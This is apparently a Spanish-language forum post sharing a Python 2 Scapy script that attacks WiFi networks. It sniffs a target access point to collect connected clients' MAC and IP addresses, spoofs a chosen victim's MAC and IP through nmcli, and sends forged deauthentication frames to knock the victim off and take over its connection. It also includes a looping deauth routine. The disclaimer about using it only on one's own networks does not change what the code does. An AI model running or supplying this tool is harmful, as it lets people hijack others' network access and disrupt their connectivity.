Saludos.
Este es el script con las siguientes modificaciones:
1- Rótulo del título más pequeño.
2- Posibilidad de seleccionar la interfaz de red deseada.
Probarlo y comentar.
#!/user/bin/env python2
# -*- coding: utf-8 -*-
# programa creado por Yulexis Boza Ramírez
#
##################################################################
# #
# Versión: 1.1 #
# #
# Descripción: #
# El objetivo de este programa es listar las parejas de MAC/IP #
# de los clientes conectados los Puntos de Acceso #
# WIFI, estemos o no conectados al mismo. #
# No me hago responsable del mal uso que se le pueda dar. #
# #
# Requerimientos: #
# Scapy #
# Realizado y testeado en wifislax64. #
# #
# Equipo de realización: #
# Autor: Yulexis Boza Ramírez #
# Colaboradores: #
# #
##################################################################
import sys
from sys import stdout
import os
import signal
from multiprocessing import Process
from scapy.all import *
relleno_azul = chr(27)+"[6;37;44m"
rojo = chr(27)+"[0;31;40m"
verde = chr(27)+"[0;32;40m"
verde_lima = chr(27)+"[1;32;40m"
marron = chr(27)+"[0;33;40m"
azul = chr(27)+"[0;34;40m"
azul_claro1 = chr(27)+"[1;34;40m"
morado = chr(27)+"[0;35;40m"
azul_claro2 = chr(27)+"[1;36;40m"
blanco = chr(27)+"[1;37;40m"
naranja = chr(27)+"[1;31;40m"
gris = chr(27)+"[1;30;40m"
global interfaz
interfaz = ''
global CANAL
CANAL = 0
aps = []
ap_objetivo_ESSID = ''
ap_objetivo_BSSID = ''
ap_objetivo_CANAL = ''
lista_de_interacciones = []
lista_de_mac_ip_clientes = []
archivo_salva = open('mac_ip.txt', 'a+')
archivo_salva.close()
def crea_interfaz_monitor ():
os.system("clear")
Titulo ()
print (verde + 'Seleccione interfaz de red:')
print ('----------------------------------------------------------------------------')
print (azul)
tmp_string = os.popen('ip link|egrep "^[0-9]+"|cut -d ":" -f 2 |awk {"print $1"} |grep -v lo').read();
tmp_string = tmp_string.strip();
array_interfaces=[];
array_interfaces[:]= tmp_string.split("\n");
i=0
for i in range(len(array_interfaces)):
print(gris + str(i) + ') ' + azul + array_interfaces[i].strip())
i=i+1
interfaz_index = (input(azul + ">> " + verde));
global interfaz
interfaz = array_interfaces[interfaz_index];
interfaz = interfaz.strip();
os.system("clear");
Titulo ();
interfaz_monitor = "clnxion1"
esta_en_modo_monitor = os.path.isdir("/sys/class/net/" + interfaz_monitor)
if not (esta_en_modo_monitor):
stdout.write (azul + 'Creando interfaz ' + verde + interfaz_monitor + azul +' en modo MONITOR......' + "\b")
salida = os.system("iw dev " + interfaz + " interface add " + interfaz_monitor + " type monitor")
if (salida==0):
time.sleep(0.5)
print ( azul + '[' + verde + 'OK' + azul + ']')
print ('')
stdout.write ( azul + 'Levantando interfaz ' + verde + interfaz_monitor + azul +'......' + "\b")
sal = os.system("ifconfig " + interfaz_monitor + " up")
if (salida==0):
print ( azul + '[' + verde + 'OK' + azul + ']')
else:
print ( azul + '[' + rojo + 'NO' + azul + ']')
time.sleep(0.8)
else:
print ('\n' + rojo + '[!] No se ha podido crear la interfaz ' + verde + interfaz_monitor + rojo + ' en modo monitor.')
time.sleep(0.8)
sys.exit(1)
else:
print rojo + "[!] Ya existe una interfaz " + verde + interfaz_monitor + rojo + " en modo MONITOR."
time.sleep(0.8)
def busca_ap(p):
if ((p.haslayer(Dot11Beacon))):
try:
datos_de_red = (p[Dot11].addr3 + " " + str( int(ord(p[Dot11Elt:3].info)) ) + "\t\t" + p[Dot11].info)
except:
datos_de_red = (p[Dot11].addr3 + " " + '-' + "\t\t" + p[Dot11].info)
if datos_de_red not in aps:
aps.append( datos_de_red )
print (azul + datos_de_red)
def quita_cliente(clienteMAC, apBSSID):
while True:
try:
pkt_death = (RadioTap() / Dot11(type=0, subtype=12, addr1=clienteMAC, addr2=apBSSID, addr3=apBSSID)/ Dot11Deauth(reason=1))
nada = sendp(pkt_death, iface='clnxion1', count=5, inter=0.2)
except KeyboardInterrupt:
break
def channel_hopper():
while True:
try:
channel = random.randrange(1, 13)
os.system("iw dev clnxion1 set channel %d" % (channel))
time.sleep(1)
except KeyboardInterrupt:
break
def captura (pkt):
archivo_salva = open('mac_ip.txt', 'a')
archivo_interacciones = open('interacciones_c_ap.txt','a')
if pkt.haslayer(Dot11) and pkt.haslayer(Dot11QoS) and pkt.haslayer(LLC) and pkt.haslayer(TCP) and pkt.haslayer(IP) and pkt.haslayer(Raw) and not pkt.haslayer(DNS):
if opcion == '3':
if pkt.addr2.lower() == ap_objetivo_BSSID.lower():
mac_dst = pkt.addr1
ip_dst = pkt[IP].dst
mac_ip_dst = '{} ( {} )' . format ( mac_dst, ip_dst)
if mac_ip_dst not in lista_de_mac_ip_clientes:
lista_de_mac_ip_clientes.append( mac_ip_dst )
archivo_salva.write(mac_ip_dst + '\n')
print (azul + mac_ip_dst)
if ((pkt.haslayer(Dot11ProbeResp))):
if opcion == '5':
if pkt[Dot11].info is not '':
try:
canal = str( int(ord(p[Dot11Elt:3].info)) )
except:
canal = '-'
datos_interaccion = pkt[Dot11].addr1 + ' -> ' + pkt[Dot11].addr2 + ' ( ' + pkt[Dot11].info + ' )'
if datos_interaccion not in lista_de_interacciones:
lista_de_interacciones.append(datos_interaccion)
archivo_interacciones.write(datos_interaccion + '\n')
print (azul + datos_interaccion)
archivo_salva.close()
archivo_interacciones.close()
def Iniciar_Sniff ():
sniff(iface='clnxion1', store=0, prn=captura)
#\_/| || |_
# | |_||_ |_
def Titulo ():
print azul + " (((0)))"
print azul + " |"
print azul + " __|__ " + gris + "__ " + azul + " ___ _ ____ ____ ____ " + verde + " __ __ " + azul + " _____ _ ____ ____ "
print azul + " | |" + gris + " | " + azul + "║███║║█║ ║████║║████║║████║" + verde + "║██║║██║" + azul + "║█████║║█║║████║║████║ "
print azul + " ___|_____|" + gris + "__|__ " + azul + "║█║ ║█║ ║█║║█║║█║║█║║█║" + verde + " Yu║█║║█║ " + azul + " ║█║ ║█║║█║║█║║█║║█║ "
print azul + " | 0 0 |" + gris + "X | " + azul + "║█║ ║█║ ║█║║█║║█║║█║║███║" + verde + " le║" + azul + "██"+ verde + "║is " + azul + "║█║ ║█║║█║║█║║█║║█║ "
print azul + " | ___ |" + gris + "_ | " + azul + "║█║ ║█║ ║█║║█║║█║║█║║█║ " + verde + " ║█║║█║ " + azul + " ║█║ ║█║║█║║█║║█║║█║ "
print azul + " \___/" + gris + "__/ " + azul + "║███║║███║║████║║█║║█║║████║" + verde + "║██║║██║" + azul + " ║█║ ║█║║████║║█║║█║ "
print ( ' ' + verde + '1.1')
print (azul + "----------------------------------------------------------------------------\n")
def Menu_Inicio ():
global proceso_sniff
interface = 'clnxion1'
os.system("clear")
Titulo ()
i = 0
archivo_salva = open('mac_ip.txt', 'a+')
for linea in archivo_salva:
i = i + 1
archivo_salva.close()
j = 0
archivo_interacciones = open('interacciones_c_ap.txt', 'a+')
for linea2 in archivo_interacciones:
j = j + 1
archivo_interacciones.close()
global ap_objetivo_ESSID
global ap_objetivo_BSSID
global ap_objetivo_CANAL
print (verde + 'Seleccione opción')
print ('----------------------------------------------------------------------------')
print (azul)
print (verde + ' 1)' + azul + ' Escanear redes cercanas ' + '[' + gris + str(len(aps)) + azul + '].')
print (verde + ' 2)' + azul + ' Seleccionar red objetivo:')
if ap_objetivo_BSSID != '' and ap_objetivo_CANAL != '' and ap_objetivo_ESSID != '':
print (' ' + azul + '[ ' + morado + 'CH: '+ gris + ap_objetivo_CANAL + morado + ' BSSID: '+ gris + ap_objetivo_BSSID + morado + ' ESSID: ' + gris + ap_objetivo_ESSID + azul + ' ]')
print (verde + ' 3)' + azul + ' Obtener clientes conectados' + azul + ' [' + gris + str(len(lista_de_mac_ip_clientes)) + azul + '].')
print (verde + ' 4)' + azul + ' Clonar un cliente.')
print (gris + ' -----------')
print (verde + ' 5)' + azul + ' Obtener interacciones CLIENTES-AP.')
print (verde + ' 6)' + azul + ' Mostrar interacciones [' + gris + str(j) + azul + '].')
print (verde + ' -----------')
print (gris + ' X) Salir.')
global opcion
opcion = (raw_input(azul + ">> " + verde))
if opcion == '1':
os.system("clear")
Titulo()
print (verde + 'Escaneando redes cercanas.' + gris + ' CTRL+C para detener')
print (verde + '----------------------------------------------------------------------------')
global p
p = Process(target=channel_hopper)
p.start()
print (gris + 'BSSID' + "\t\t " + 'CHANNEL' + "\t" + 'ESSID')
aps[:]=[]
sniff(iface='clnxion1', store=0, prn=busca_ap)
p.terminate()
Menu_Inicio()
elif opcion == '2':
os.system("clear")
Titulo()
print (verde + 'Seleccionando red objetivo.' + gris + ' <-- X')
print (verde + '----------------------------------------------------------------------------')
print (gris + ' BSSID' + "\t " + 'CHANNEL' + "\t" + 'ESSID')
i=0
for nombre_ap in aps:
i=i+1
print(verde + str(i) + ') ' + azul + nombre_ap)
print('')
print (verde + '----------------------------------------------------------------------------')
numero_de_ap = (raw_input(azul + "Seleccione >> " + verde))
if numero_de_ap.lower() == 'x'.lower():
Menu_Inicio()
elif int(numero_de_ap) > 0 and int(numero_de_ap) <= len(aps):
temp_datos_ap = aps[int(numero_de_ap) -1 ]
ap_objetivo_BSSID = temp_datos_ap[:17]
ap_objetivo_CANAL = temp_datos_ap[19:21].strip()
ap_objetivo_ESSID = temp_datos_ap[22:].strip()
Menu_Inicio()
else:
Menu_Inicio()
elif opcion == '5':
archivo_interacciones = open('interacciones_c_ap.txt', 'w')
archivo_interacciones.close()
os.system("clear")
Titulo ()
p = Process(target=channel_hopper)
p.start()
os.system("clear")
Titulo ()
print (verde + 'Obteniendo interacciones CLIENTES-AP' + gris + ' <--- CTRL+C')
print (verde + '----------------------------------------------------------------------------')
print ( azul )
sniff(iface='clnxion1', store=0, prn=captura)
p.terminate()
Menu_Inicio()
elif opcion == '3':
archivo_salva = open('mac_ip.txt', 'w')
archivo_salva.close()
os.system("clear")
Titulo ()
if ap_objetivo_BSSID != '' and ap_objetivo_CANAL != '' and ap_objetivo_ESSID != '':
# ---- Estas lineas son debido a que en unas WIFI no me determina el canal -----------
if ap_objetivo_CANAL.isdigit():
os.system("iw %s set channel %s" % (interface, ap_objetivo_CANAL))
else:
tmp_canal = raw_input('Solicitando canal no determinado durante el escaneo: ' + verde)
while not tmp_canal.isdigit():
tmp_canal = raw_input('Ingrese un canal correcto [1-13]: ' + verde)
os.system("iw %s set channel %s" % (interface, tmp_canal ))
# ------------------------------------------------------------------------------------------------
os.system("clear")
Titulo ()
cadena = '<-- CTRL+C'
temp_ctrol_C = cadena.rjust(75 - len('Obteniendo clientes conectados a "') - len(ap_objetivo_BSSID), " ")
print (verde + 'Obteniendo clientes conectados a "' + azul + ap_objetivo_BSSID + verde + '"' + gris + temp_ctrol_C)
print (verde + '----------------------------------------------------------------------------')
print ( azul )
sniff(iface='clnxion1', store=0, prn=captura)
Menu_Inicio()
else:
os.system("clear")
Titulo ()
print (verde + 'Obteniendo clientes conectados a "' + azul + ap_objetivo_BSSID + verde + '"')
print (verde + '----------------------------------------------------------------------------')
print('')
print (rojo + 'ERROR. Debe de seleccionar un objetivo primero.')
time.sleep(0.9)
Menu_Inicio()
elif opcion == '6':
os.system("clear")
Titulo ()
archivo_interacciones = open('interacciones_c_ap.txt', 'r')
cadena = '<-- X'
temp_ctrol_C = cadena.rjust(75 - len('Interacciones obtenidas [ ]') - len(str(j)), " ")
print (verde + 'Interacciones obtenidas [ ' + azul + str(j) + verde + ' ]' + gris + temp_ctrol_C)
print (verde + '----------------------------------------------------------------------------')
i=0
for linea in archivo_interacciones:
i=i+1
print(gris + str(i) + ') ' + azul + linea)
archivo_interacciones.close()
print (verde + '----------------------------------------------------------------------------')
nada = ''
while nada.lower() != 'x'.lower():
nada = (raw_input(azul + ">> " + verde))
Menu_Inicio ()
elif opcion == '4' :
archivo_salva = open('mac_ip.txt', 'r')
os.system("clear")
Titulo ()
print (verde + 'Clonando datos de un cliente ' + gris + '<-- X')
print (azul + '[ ' + morado + 'ESSID: '+ gris + ap_objetivo_ESSID + morado + ' BSSID: ' + gris + ap_objetivo_BSSID + morado + ' CH: '+ gris + ap_objetivo_CANAL + azul + ' ]')
print (verde + '----------------------------------------------------------------------------')
lista_de_mac_ip_clientes[:] = []
i=0
for linea in archivo_salva:
lista_de_mac_ip_clientes.append(linea)
i=i+1
print(' ' + verde + str(i) + ') ' + azul + linea)
print (verde + '----------------------------------------------------------------------------')
numero_de_cliente = (raw_input(azul + "Seleccione cliente >> " + verde))
if numero_de_cliente.lower() == 'x'.lower():
Menu_Inicio()
elif int(numero_de_cliente) > 0 and int(numero_de_cliente) <= len(lista_de_mac_ip_clientes):
os.system("clear")
Titulo ()
mac_cliente = lista_de_mac_ip_clientes[int(numero_de_cliente) - 1][:17]
ip_cliente = lista_de_mac_ip_clientes[int(numero_de_cliente) - 1][lista_de_mac_ip_clientes[int(numero_de_cliente) - 1].find("(")+2:lista_de_mac_ip_clientes[int(numero_de_cliente) - 1].find(")")-1]
gateway_cliente = ip_cliente.rsplit(".", 1)
print (verde + 'Clonando: ' + azul + 'MAC: ' + rojo + mac_cliente + azul + ' IP: ' + rojo + ip_cliente )
print (verde + '----------------------------------------------------------------------------')
print ('')
print (azul + 'Configurando interfaz de red...')
print (gris)
estado_error = os.system("nmcli connection delete " + ap_objetivo_ESSID )
estado_error = os.system("nmcli con add type wifi con-name "+ ap_objetivo_ESSID + " ifname " + interfaz + " ssid " + ap_objetivo_ESSID )
estado_error = os.system("nmcli connection modify " + ap_objetivo_ESSID + " ipv4.addresses " + ip_cliente + "/24 ipv4.gateway " + gateway_cliente[0] + '.1' + " +ipv4.dns " + "8.8.8.8" + " ipv4.method manual connection.autoconnect false")
estado_error = os.system("nmcli connection modify --temporary " + ap_objetivo_ESSID + " 802-11-wireless.cloned-mac-address " + mac_cliente)
estado_error = os.system("nmcli connection down " + ap_objetivo_ESSID + " ; nmcli connection up " + ap_objetivo_ESSID)
print('')
print (azul + "Desautenticando cliente...")
print (gris)
pkt_death = (RadioTap() / Dot11(type=0, subtype=12, addr1=mac_cliente, addr2=ap_objetivo_BSSID, addr3=ap_objetivo_BSSID)/ Dot11Deauth(reason=1))
sendp(pkt_death, iface='clnxion1', count=5, inter=0.2)
print ('')
print (azul + 'Comprobando conexión a Internet...')
print (gris)
estado_error = os.system("ping -c 1 google.com.cu > /dev/null")
if estado_error == 0:
print (verde_lima + 'Exelente! Ya puede abir el navegador y comenzar a navegar.')
else:
print (rojo + 'Error! No es posible establecer una conexión a Internet.')
print (rojo + 'Pruebe abrir un sitio web en su navegador.')
print ('')
print (verde + '----------------------------------------------------------------------------')
nada = (raw_input(azul + "Enter para volver al Menú Inicio >> " + verde))
Menu_Inicio()
else:
Menu_Inicio()
elif opcion.lower() == 'x'.lower() :
esta_en_modo_monitor = os.path.isdir("/sys/class/net/" + interface)
if esta_en_modo_monitor:
os.system("iw dev " + interface + " del")
sys.exit()
else:
Menu_Inicio ()
os.system("clear")
Titulo ()
print (verde + '¡¡¡Advertencia!!!')
print(rojo + '''
Algunas acciones derivadas de este programa pueden
resultar invasivas, por lo que se recomienda utilizar
solo en redes propias o con los permisos necesarios.
Verifique la legislación vigente del país en el que se
encuentra para no incurrir en delitos.
Usted es el único responsable del mal uso que le pueda
dar a estas líneas de código.
''')
nada = (raw_input(verde + "ENTER" + azul + " (continuar) " + verde + "X" + azul + " (salir) >> " + verde))
if nada.lower() == 'x'.lower():
sys.exit()
os.system("clear")
Titulo()
print('')
crea_interfaz_monitor ()
time.sleep(0.8)
Menu_Inicio ()